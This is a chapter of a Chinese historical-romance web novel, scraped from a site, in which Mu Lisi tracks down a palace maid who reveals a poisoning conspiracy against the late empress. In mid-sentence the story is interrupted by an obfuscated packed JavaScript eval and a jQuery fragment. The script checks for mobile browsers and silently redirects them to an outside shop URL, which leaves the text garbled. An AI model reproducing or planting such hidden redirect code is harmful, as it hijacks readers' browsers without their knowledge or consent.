文趣网 > 其他小说 > 梨花降 > 22. 访宏安巧遇友人4
    次日一早,穆梨思起床,却见魏卿安醒的比她还早,还买了豆浆油条放在桌上。

    穆梨思打着哈欠道:“还是跟昨晚说的一样,分头行事去找那个很奇怪的人?”

    魏卿安点点头道:“好。”

    闻言,穆梨思凑了上去道:“你手下那群很得力的干将真不在吗?这样真的很麻烦的。”

    “穆姑娘的暗卫不也不在。”

    穆梨思笑问:“我现在挟持你,他们岂不是全听我的?”

    “……。”魏卿安抬眸看了穆梨思一眼,穆梨思咬了一口油条道:“行,当我没说。那还是你去东街头,我去西街尾?”

    “行。”

    穆梨思两三口搪塞了一下早饭,就往西街去,她先是再去拜访了一下昨日神医亲传医馆附近的摊铺,毕竟听那大夫描述,那日估计闹了一会儿,街坊们爱看热闹,此人的形象他们估计还有印象,多多少少还能打听一些出来。

    穆梨思问了几个,后在一胭脂摊上一边看着胭脂,一边向摊主说着,那摊主听着穆梨思的描述,瞬间了悟。

    她道:“这人,见过的,来摆摊的时候。前段日子还见她在摆摊,就那块街头看到没。我当时知道她讨厌柳神医,我还呸过她呢。”

    “摆摊?”

    “其实应该不是摆摊,就看着像个叫花子一样,就是在那角落躺着,但是她不知道拿了块布写了免费问诊,就当她是摆摊了。”

    穆梨思又问:“免费问诊,你去看了没?”

    “谁去看?说不定就要收什么贵的吓死人的药费。而且这半城人,谁不是受了柳神医的救命之恩的?说句再生父母也不为过了。她来这造谣生事,不是就是明晃晃的赶来讨骂吗?不打她就不错了。好歹这几日倒是没见到了,估计是摸到自己的良心就走了。”

    穆梨思了然道:“是这么个道理。”

    摊主知道她打听人,接着道:“不过,你可以再去看看,就那个……看到没,打了酒幌子的那个店,往左拐,就有个不起眼的角落,之前是一堆告花子躺在那,前段时间她就在那里蹲着。现在在不在不知道了,真是你朋友姐姐的话,你赶紧带回去,别让她在外面晃,家里人要急死。”

    穆梨思点头道谢表示知晓,旋即,她拿着一盒胭脂问道:“姐姐,你看看这个颜色适合我吗?”

    摊主笑道:“适合的。这个是杏子红,姑娘这么好看,涂了这胭脂肯定更添彩了。我看姑娘面色好,可以再看看这个,比那个颜色是要淡点,叫桃花粉。”

    闻言,穆梨思抬头笑问:“怎么不是桃子红?”

    摊主立马道:“姑娘要说是桃子红,这就是桃子红了。”

    穆梨思买了两盒揣怀里,往摊主说的那地方走去。

    谁知,竟然让她迎面撞上了闲荡的江致珃。她转身就想换条路走,却不料被江致珃逮着了,只听见江致珃扬声道:“穆姑娘,穆姑娘!这里!!”

    “……。”穆梨思转过身,见江致珃走了过来,他四下看了看问道:“魏公子呢?怎么没瞧见?”

    “他有事。我就出来转转。”穆梨思话毕,就瞧见一人向江致珃走了过来,这人不似昨日那般……难以言诉,倒是明眸皓齿颇为秀气。

    这人对江致珃道:“她是谁?”

    “我京城的朋友。”

    “你会带我去京城吗?”

    江致珃面含笑意道:“珍惜当下。”

    这话的意思,那人听了不禁神色微动面含悲伤,道:“我懂了。”话落,他神情落寞的走了。

    穆梨思听过无数八回齐王殿下的风月事迹,也亲眼见过几回了。这人跟江致珃什么关系已经不言而喻。

    穆梨思本欲事不关己高高挂起,但思虑几番后,她还是扬扬下巴示意问道:“他,你认识多久了?”

    “不久,来宏安城认识的。”

    “……算我多言了,齐王殿下,斗胆问一下柳临江于你而言算什么?”

    闻言,江致珃理所当然笑道:“露水情缘怎么可能跟他比?”

    “……。”穆梨思一时看着似无所事事,在街上来回走荡,江致珃也闲着没事跟着她后面走走停停。

    最后穆梨思还是看着那狭窄阴潮堆着垃圾的角落若有所思。

    照摊主说的,这就是那人呆过的地方了。

    江致珃跟在她后面,见穆梨思忙忙碌碌来来回回的,他问“穆姑娘盯着这垃圾干什么?”

    “没事,就瞧瞧。”

    江致珃奇道:“能瞧出什么?你在寻宝藏?这里有黄金?”

    “……。”穆梨思就不知道这人说话怎么这么二三不着调。

    见穆梨思没答话,江致珃接着四处张望道:“那我也到处瞧瞧。”

    穆梨思不管他,问道:“瞧出什么了?”

    “好像瞧见鬼了。”

    闻言,穆梨思见江致珃神色古怪的盯着远处一个人,她顺着江致珃目光看去,只见一个圆脸杏眼的女子正在买菜,穆梨思道:“你认识。”

    江致珃不确定道:“不好说,我瞧着是有点眼熟,不知道是不是跟我认识的那位撞脸了。走,过去看看。”

    穆梨思跟着他的步伐问道:“谁?”

    “有点像是……明华皇后的侍女。叫阿泞的。你知道不?”

    闻言,穆梨思细细想了一下后点了点头。

    穆桃华早年间收留过几个流浪孩当家仆,其中有一个就成了穆桃华的贴身侍女,就叫阿泞。

    而这说话期间,这女子似乎察觉到他们的目光,她一眼望过来,心下一惊手中的菜篮子掉落在地,她也不管不顾转身就拼命的跑入人群。

    江致珃惊呼道:“就是她!别让她跑了。”

    穆梨思闻言,上去逮着她。只见穆梨思在人群中穿梭,奔如飞燕,敏捷似豹。穆梨思足尖轻轻一点,跃上房顶,随即借着一根竹竿的力跳到阿泞面前,众人惊呼。

    阿泞见前路被堵死,转身往后走,却不料江致珃气喘吁吁的跑了上来。

    江致珃眼前冒黑光,猛地吸了几口气才道:“阿泞,你……你不是死了吗?怎么还活着?”

    “求殿……公子给我做主,我……我冤枉啊。”话落,阿泞就跪在地上。

    而江致珃摆了摆手,似乎不想多说话,穆梨思则从后面走到她面前挑了挑眉道:“冤枉什么?你跑什么?”

    阿泞看到穆梨思道:“二姑娘,我是阿泞啊。”

    “我知道你是阿泞,这是怎么回事?”

    江致珃指着旁边的客栈道:“站着我头晕,我们到这个客栈去坐着说。如何?”

    几人到客栈开了个雅间,江致珃进去,目标明确连忙拿起茶壶欲喝时,见穆梨思挟着阿泞进来,他疑迟一会儿还是问道:“穆姑娘喝茶不?”

    穆梨思见他对着茶壶仰着头的模样,丝毫不带犹豫的摇了摇头道:“你自己喝就好了。”

    闻言,江致珃就不客气,仰头就灌了半壶水才对着阿泞道:“你可真厉害,死了还能活,活了还这么能跑。倒是差点要了我半条命。”

    阿泞立马跪在地上祈求道:“殿下,二姑娘救救我。”

    穆梨思道:“起来说话。”

    “殿下跟二姑娘不救救我,我长跪不起。”

    江致珃无所谓道:“她要跪着说就跪着,穆姑娘坐。”

    穆梨思微微摇头道:“不坐了。我站着就好。”

    闻言,江致珃也不勉强,他问道:“阿泞,说说怎么个事?怎么就要救救你的命了。你不是当初因为明华皇后去世,以死明志了吗?这是明志没门?”

    阿泞抽泣道:“这一切,都是蒋丞相害的。”

    江致珃奇问:“害你什么了?当初不是你指认了柳清乐毒了明华皇后吗?难道是假的?”

    “是如此,但是不是我本意要指认柳贵妃的,是柳贵妃自己要我指认她的。我自知这种慌是死罪,可皇后娘娘去世前,就同我说不要担心,我同柳贵妃不会死的,会把我们两个送出宫。我这才安心说是柳贵妃下毒害了皇后娘娘。”

    穆梨思看着神色淡淡,实则内心骇然,她抱臂倚靠着柱子道:“先把你知道的全都说出来,胆敢隐瞒……”话到这,穆梨思将自己头上的簪子拔了下来,看着就是随手手一抛,那簪子就穿透杯子,扎入桌内。杯子顿时碎成块。

    那阿泞吓得赶紧低下头,只听见穆梨思接着道:“如同此盏,粉身碎骨。”

    江致珃像是被吓到扶了扶胸口道:“瞧见没,老实点。”

    阿泞发抖道:“奴婢不敢妄言。奴婢同柳贵妃出逃后,我本欲往西域求得姑娘与王爷庇护。可柳贵妃她要来宏安,加之我们二人耐不住蒋相派人追杀。一路东躲西藏,才到了这个地方,只求一时安寝。”

    后面,我同柳贵妃逃亡这些日子才知,早几年前,皇后娘娘身上早已中毒,柳贵妃一直寻法子给她医治,可一直救不好。只能调理身体来吊着命,活个几年。

    而那日,蒋丞相为了掩盖自己毒杀皇后皇子,嫁祸给柳贵妃,陛下无法,只能先下令说将柳太医跟柳贵妃处死。这就是我知道的全部了。只求殿下,姑娘能救救我。”

    穆梨思道:“你说是蒋相毒害明华皇后?这话可不能乱说。”

    “绝无虚言。”

    穆梨思心思重重道:“柳清乐呢?”

    “奴婢不知,到了宏安城后,奴婢同柳贵妃在这里安住了一段时日,可是不消多久就有人来追杀我们,奴婢就与柳贵妃跑散了。后面找了找,没找到人,八成是被人给抓走了,或者是……”

    穆梨思听她话味说尽,心头明了又道:“我听闻有一个人曾经在药铺等地说柳辞病的不好,还要给别人问诊,听描述像是柳清乐?”

    “是柳贵妃。当时奴婢同柳贵妃到宏安城,有可能是家中人散,柳贵妃的精神就不太好。时常胡言乱语。”

    穆梨思默然,她余光瞥见江致珃正在细细欣赏他的那十根芊芊玉指。

    穆梨思问道:“齐王殿下还有话可说?”

    江致珃摇摇头道:“没了。”

    穆梨思道:“你收拾收拾行李跟着我。”

    阿泞抬头茫然,江致珃点拨道:“你不是怕蒋丞相找上你吗?穆姑娘的实力你刚刚还没瞧见?救你绰绰有余了。”

    闻言,阿泞伏地感激不尽。

    三人刚出门,江致珃他猛的精神抖擞起来说有急事要去处理,不能陪同便先离去。

    穆梨思就瞧着江致珃快步往前走混入人群,然后往左一拐就拐进了那秦楼楚馆。

    阿泞见穆梨思神色冷然,心里莫名有些害怕,就低头走在她后面。

    而眼瞧着要到客栈的时候,穆梨思就撞见了魏卿安,以及……吴子语。还有吴子语怀里抱了个美人儿。

    穆梨思彻底服气了,送走一个又来一个,真是哪哪都是他们两个。

    只听见吴子语道:“呀,穆姑娘回来啦!魏公子刚还说要去找你来着。”

    听着话头,估计魏卿安撞见吴子语有一会儿了。她点了点头表示知晓,同魏卿安一块二人回客栈。

    紧接着穆梨思就听见,吴子语怀里的美人儿盯着他们二人嘀咕道:“这两个人真讨人厌,让你热脸贴冷屁股。”

    “……。”穆梨思眼角微抽,魏卿安彷若未闻。

    魏卿安见穆梨思过来,身后还领了个人跟了过来,他只看了一眼,并不多言。

    而吴子

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17695567|207985||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    语见阿泞这个都不认识的人跟了过去,他这个熟人自然也没有不去的道理,于是他想当然的抬腿也要跟了过去。

    吴子语怀里的那人却扯着他的袖子低声道:“公子别去了,奴家胸口疼。”话落,就把吴子语手放在她胸口上。

    吴子语闻言止步低头看着女子问道:“那我们换个地方聊?”

    女子面露羞意“嗯”了一声。

    吴子语扬声道:“穆姑娘,我们走了奥。”

    “……” 穆梨思停步回首对吴子语道:“你长着两条腿,要去哪我还能拦着你不成?没必要跟我说。”

    吴子语却欲抛下旁边的美娘子道:“穆姑娘要我别去,我就不去了。”

    穆梨思扬眉道:“快滚。”

    ……

    穆梨思寻来纸笔研磨书信给穆以朝以及穆王爷等问好,她在椅子上坐着写了一会儿见阿泞在略有局促,神情不安的模样。

    穆梨思思倾片刻拿着纸笔起身道:“你在这休息。”

    话落,穆梨思起身出去,关门转身,走了两步敲了敲魏卿安的房门,见魏卿安尚未更衣也没有要休息的模样,穆梨思道:“借个地?方便不?”

    魏卿安侧身道:“进来吧。”

    穆梨思将窗户打开,把桌椅挪在窗前,笔墨等放桌子上,坐下低头细细书写。魏卿安新拿了一盏蜡烛放在她桌子上,问道:“不看着那姑娘?”

    穆梨思低头书写,想也没想就开口道:“看着她干什么?来看着你,保护你。”

    “……。”

    见魏卿安没说话,穆梨思抬头问道:“你怎么觉得她要逃?”

    魏卿安靠窗看向别处道:“不过是随口一说。”

    穆梨思低声道:“那还真说对了,这姑娘说话藏着掖着,不太老实。不过我这不是把桌椅挪到窗前了吗?她想从窗户?门?揭屋顶?随便什么地方跑,我觉得跑不了。而且也不多久,写完信我就走了。”

    “写什么?”

    “我有个侄女要来京城,刚刚收到信说她遇到一群姑娘小姐跟她们相处的还不错,就结伴去游行先去玩一圈再过来。”说到这,穆梨思感慨道:“小姑娘家家的,就应该出去转转。”

    魏卿安问:“不怕危险吗?”

    “怕,但是也不能耽误她玩吧?这不就写信把京城那些暗卫派过去,保护她算了。”话到这,穆梨思又补充道:“多点人手,总会安心是吧。”

    闻言,魏卿安点点头,静寂片刻又问道:“她是谁?”

    “明华皇后曾经的一个侍女,跟着柳清乐跑了。两人还跑散了,今日你那边事情有何进展?”

    “无,八成此人已经不在这了。”

    “也是。不过好歹不算一无所获。”穆梨思话落就不再言语,换了两张纸后,穆梨思见自己房间的蜡烛已灭,不久就听到有细细的踩砖瓦的声音。

    穆梨思搁下笔,回头看着魏卿安指着窗外,张了张嘴无声说了什么。

    魏卿安指着自己的耳朵摇了摇手,示意听不清。

    穆梨思无法,只好起身步伐及轻的走到魏卿安旁边小声道:“你去看看?”

    魏卿安摇了摇头道:“等着。”

    这话刚落,只听见外面响起微微的捉拿人的动静,穆梨思还没来得及去窗外看是什么情况,只见一身穿黑色银边的劲衣男子,他扛着晕了的阿泞从窗户翻了进来道:“公子。”

    一套动作行云流水,桌上的纸墨笔砚倒是一点都没沾到。

    魏卿安点了点头,这人将阿泞放在地上,看了一眼穆梨思也不多说。

    旋即,那人走到魏卿安身旁低声跟魏卿安说了什么,魏卿安表示知晓后,那人就从窗户翻了出去融入了夜色当中。

    穆梨思略过阿泞,走到桌前,重新拿起纸笔道:“你的得力部将们不是不在这吗?”

    “他刚到不久。”

    穆梨思“哦”了一声,半响,她止笔折纸像是随口一问道:“他跟你说了什么情报?说来听听?说不定我能参谋参谋。”话落,穆梨思将纸塞进信封,抬头看着魏卿安。

    魏卿安正思量着,见穆梨思问,他道:“听闻蒋相府中在预备丧事,八成是蒋徐西不成了。回京吗?”

    闻言,穆梨思愣了一下道:“……白写一封信了。”

    话落,穆梨思寻了根绳,将阿泞扛回自己房里。

    第二日天色刚明,穆梨思骑着马,魏卿安找了个马车就走了。

    与此同时,吴子语这厮虽然八成不着调,但不论去哪里玩,他的目标都十分明确,即青楼的美女跟吃酒楼的美食。

    而这几日他更所谓是游于美人怀,不思京中事。

    吴子语兴致勃勃的问道:“哎,江兄,待会再去哪里玩?”

    江致珃听此,思倾半响,须臾,他道:“还没想好,要不要问问穆姑娘他们去哪?到时候可以顺路同行。”

    “是啊,我怎么没想到?”闻言,吴子语同江致珃两人去穆梨思同魏卿安住的客栈,得知两人一大早就走了。

    吴子语叹了口气道:“哎,这魏公子他们也真是,走了都不跟我们说一声的。亏我们惦记他们。江兄,这下去哪里玩?”

    江致珃摇头道:“唔,不玩了不玩了,回京玩去。”

    “这就回去了?”吴子语不可思道。

    “你还没玩够?你母亲这几日没见到你人,估计又在跟曲相闹呢。我们还是回去看看比较好。”

    吴子语一听到回京就想到他母亲,一想到他母亲他头就痛,此次离京八成又要被关进书房那暗无天日的地方。

    可江致珃说的在理,虽然未玩尽兴心又不甘,可此时此刻还是要回去看看了。于是二人打道回府。